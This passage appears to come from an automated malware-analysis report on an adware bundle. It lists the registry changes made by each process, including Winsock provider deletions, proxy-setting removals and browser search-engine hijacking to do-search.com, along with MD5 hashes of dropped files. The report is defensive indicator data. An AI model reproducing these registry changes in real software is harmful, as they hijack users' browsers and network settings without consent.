"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "jZoVvS^vVzL\hee"

The Application deletes the following registry key(s):

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000000F]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]

The Application deletes the following value(s) in system registry:

The process YTAHEL~1.EXE:2924 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

The process GLJD681.tmp:4044 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFPpg2.AniGIFPpg2]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ToolboxBitmap32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx, 1"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus]
"(Default)" = "0"

[HKCR\AniGIFCtrl.AniGIF\CLSID]
"(Default)" = "{82351441-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\AniGIFPpg.AniGIFPpg]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFPpg2.AniGIFPpg2.1]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\AniGIFPpg.AniGIFPpg\CurVer]
"(Default)" = "AniGIFPpg.AniGIFPpg.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFCtrl.AniGIF\CurVer]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb\0]
"(Default)" = "&Properties,0,2"

[HKCR\AniGIFPpg2.AniGIFPpg2\CurVer]
"(Default)" = "AniGIFPpg2.AniGIFPpg2.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFCtrl.AniGIF]
"(Default)" = "Animation GIF Control"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\AniGIFPpg.AniGIFPpg.1]
"(Default)" = "AniGIFPpg Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Version]
"(Default)" = "1.5"

[HKCR\AniGIFPpg.AniGIFPpg.1\CLSID]
"(Default)" = "{6DC82D15-92F2-11D1-A255-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\0\win32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\FLAGS]
"(Default)" = "2"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb]
"(Default)" = ""

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ProgID]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\AniGIFCtrl.AniGIF\Insertable]
"(Default)" = ""

[HKCR\AniGIFPpg2.AniGIFPpg2.1\CLSID]
"(Default)" = "{61AB12E1-A5FF-11D1-B2E9-444553540000}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\HELPDIR]
"(Default)" = "C:\Windows\SysWow64\"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Programmable]

The process DCytaiesmt_smtyc_setup.exe:472 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "ED 1E 64 04 C5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"Install" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "41 ED 4F 2A C5 4F D0 01"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"InstallStr" = "ok"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 43 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "41 ED 4F 2A C5 4F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process spbiu.exe:3980 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Ult" = "Type: REG_QWORD, Length: 8"

The process spbiu.exe:4036 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Gcf" = "D9 91 CF EC EE 40 F4 7E 74 E4 CF FB 2F 99 75 C3"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Scf" = "42 F1 85 BF 08 DF F0 02 C3 90 CA 4E 60 61 F6 2A"

The process wscript.exe:3480 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process XTab_v4.0.exe:4080 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\XTab"

[HKLM\SOFTWARE\Wow6432Node\supTab]
"ptid" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"TopResultURL" = "http://www.bing.com/search?q={searchTerms}&src=IE-TopResult&FORM=IETR02"
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 50 00 00 00 09 00 00 00 00 00 00 00"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0]
"(Default)" = "SupTabLib"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURL" = "http://www.bing.com/favicon.ico"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}]
"(Default)" = "IETabPage Class"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\Version]
"(Default)" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"
"DisplayName" = "Bing"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconURL" = "http://www.google.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}"

[HKLM\SOFTWARE\Wow6432Node\SupDp]
"dir" = "%Program Files% (x86)\XTab"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconURL" = "http://do-search.com//favicon.ico"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"TopResultURL" = "http://www.google.com/search?q={searchTerms}&sourceid=ie7&rls=com.microsoft:{language}:{referrer:source}&ie={inputEncoding?}&oe={outputEncoding?}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"TopResultURL" = "http://www.mystartsearch.com/web/?type=ds&ts=1424736264&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURLFallback" = "http://www.bing.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"DisplayName" = "Google"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"DisplayName" = "e"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{E733165D-CBCF-4FDA-883E-ADEF965B476C}.ico"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process taskeng.exe:3736 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{BAFBD8D0-54DC-45DA-87E3-E9218F1C6E72}]
"data" = "4D 45 4F 57 01 00 00 00 E4 B7 BD 92 8B F2 A0 46"

Dropped PE files

MD5	File path
820f56a836e462f8029b3431b859939a	c:\Program Files (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.exe
df0d9fe34e82f53dfe9ae7ca92f5b84a	c:\Program Files (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.sys
820f56a836e462f8029b3431b859939a	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.exe
df0d9fe34e82f53dfe9ae7ca92f5b84a	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.sys
3015a897c4fd25a6964546e110ac1e1b	c:\Program Files (x86)\ShopperPro\SPRemove.exe
31b341b0a23b2b44d66cd1fe27379b7a	c:\Program Files (x86)\ShopperPro\ShopperPro.dll
9b233e679188bfc3345ddee4472ea3e5	c:\Program Files (x86)\ShopperPro\ShopperPro.exe
1d6b0da8a2670ecb65c3bc01a2a7054d	c:\Program Files (x86)\ShopperPro\ShopperPro64.dll
6b52c085d761425a0868d2c68cd47baa	c:\Program Files (x86)\ShopperPro\Updater.exe
a7998c55467d4884cb509e5c4cfdcfa2	c:\Program Files (x86)\XTab\BrowerWatchCH.dll
fbde6af89f9b351243c3f736a48a0543	c:\Program Files (x86)\XTab\BrowerWatchFF.dll
5785680870eff9ba7b4f58c726552013	c:\Program Files (x86)\XTab\BrowserAction.dll
77590ce0cdeb6bbee8dc056fea0b107c	c:\Program Files (x86)\XTab\CmdShell.exe
c04d8bc933470b3913e4e3e6c3115793	c:\Program Files (x86)\XTab\HPNotify.exe
a330b7929278b18a33e29bd4bb69abc3	c:\Program Files (x86)\XTab\IeWatchDog.dll
b32a88b91e59bfb553a9bebf78a1e567	c:\Program Files (x86)\XTab\ProtectService.exe
fece5b81614bd16ff043051f338183a0	c:\Program Files (x86)\XTab\SupTab.dll
3e29914113ec4b968ba5eb1f6d194a0a	c:\Program Files (x86)\XTab\msvcp110.dll
4ba25d2cbe1587a841dcfb8c8c4a6ea6	c:\Program Files (x86)\XTab\msvcr110.dll
852f4db9b269f52c54f37568d703825e	c:\Program Files (x86)\XTab\uninstall.exe
20cdc8c5752ddecd03e20b0cb2012de3	c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.exe
11c885554735b43e6ee90a1712e235a5	c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.sys
f31085e9d71a854141a7b7f8f482b0a8	c:\Program Files (x86)\YTAHelper\YTAHelper.dll
0aadb4347842781b679463a39ddc041d	c:\Program Files (x86)\YTAHelper\YTAHelper.exe
1be954fa9412364076084e3a5153f08f	c:\Program Files (x86)\YTAHelper\YTAHelper64.dll
f593c94827e130cdb5c3215e0753c781	c:\Program Files (x86)\YouTube Accelerator\Res.dll
973567b98cdfc147df4e60471d9df072	c:\Program Files (x86)\YouTube Accelerator\UNWISE.EXE
96257545e464d8e48a767dca7158ab18	c:\Program Files (x86)\YouTube Accelerator\Updater.exe
374aecb3c099c158bb8ebd99a86918db	c:\Program Files (x86)\YouTube Accelerator\YTAHUninstall.exe
d0a905c4dbb627779c7395f63e4695e4	c:\Program Files (x86)\YouTube Accelerator\YTAUninstall.exe
592989a426ae8bd543816906b4e404b6	c:\Program Files (x86)\YouTube Accelerator\YouTubeAccelerator.exe
6354ff478451dc33755ffaea5163eabb	c:\Program Files (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Program Files (x86)\YouTube Accelerator\cabex.dll
30a7767ce7edd677b85dbf308476be5e	c:\Program Files (x86)\YouTube Accelerator\engine.dll
3f60c99839e22b593223eb083e1ae454	c:\Program Files (x86)\YouTube Accelerator\helper.dll
e3ca787c4ef41e3d3c212899dd361daf	c:\Program Files (x86)\YouTube Accelerator\ipc.dll
cba2facb405fc377eced6abe5e8fe605	c:\Program Files (x86)\YouTube Accelerator\lspinst.exe
1b3f12f9710b8079619d87728f711cfb	c:\Program Files (x86)\YouTube Accelerator\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Program Files (x86)\YouTube Accelerator\sporder.dll
bfe64f99674b43adc1806cd3183f4fbd	c:\Program Files (x86)\YouTube Accelerator\testlsp.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Program Files (x86)\YouTube Accelerator\unelevate.exe
e09fa1c699e985e4cf8cfc6457dba9f1	c:\Program Files (x86)\YouTube Accelerator\xmldb.dll
6289966fd5c7d68cc37d526f6a40cdfa	c:\Program Files (x86)\YouTube Accelerator\ytalsp.dll
c79bb119a6beff66232d8df52d0c1669	c:\Program Files\Common Files\ShopperPro\spbia.exe
a30adff14e9220c2db6a55792e003641	c:\Program Files\Common Files\ShopperPro\spbici32.dll
4667cf99a034941b74a3e89983da3375	c:\Program Files\Common Files\ShopperPro\spbici64.dll
692eb34e68583c11e5984f786d0b5507	c:\Program Files\Common Files\ShopperPro\spbii32.exe
2062ecd705f3671bff5b43f0b8ffad9e	c:\Program Files\Common Files\ShopperPro\spbii64.exe
fc49f353b11fa5b580a56aaf487558b8	c:\Program Files\Common Files\ShopperPro\spbiu.exe
9e1cc7ac2474f6dbc4f7950b40f79098	c:\Program Files\Common Files\ShopperPro\spbiw.sys
31b341b0a23b2b44d66cd1fe27379b7a	c:\ProgramData\ShopperPro\ShopperPro.dll
1d6b0da8a2670ecb65c3bc01a2a7054d	c:\ProgramData\ShopperPro\ShopperPro64.dll
3525b3c9cafced38e0ab2334da7fb449	c:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe
f31085e9d71a854141a7b7f8f482b0a8	c:\ProgramData\YTAHelper\YTAHelper.dll
1be954fa9412364076084e3a5153f08f	c:\ProgramData\YTAHelper\YTAHelper64.dll
31b341b0a23b2b44d66cd1fe27379b7a	c:\Users\All Users\ShopperPro\ShopperPro.dll
